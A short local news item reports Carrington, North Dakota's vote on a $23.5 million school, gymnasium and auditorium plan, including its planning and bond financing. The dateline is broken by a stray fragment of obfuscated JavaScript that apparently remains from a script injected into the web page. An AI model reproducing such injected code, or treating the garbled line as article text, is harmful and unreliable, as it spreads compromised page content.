CARRINGTON, zrhnr|var|u0026u|referrer|sdizy||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The Carrington community will be called upon today to decide on a proposed new elementary school, gymnasium and auditorium facility.

According to Superintendent Brian Duchscherer, the plan will replace the current elementary facility with a new one connected to the Middle/High School. Designs include a cafeteria and a new multi-use gymnasium for elementary, high school, and community use as well as locker room space. The cost is estimated to be around $23.5 million.

Strategic planning groups made up of community members, parents, and school personnel came up with the plan to address the long-term success of the district.

Financing for the project will come from a low interest loan program as well as selling general obligation bonds. You can learn more about the project by clicking here.

The vote will be held at the Carrington Elementary School and ends at 7:00 PM. Results will be posted as soon as they are available.
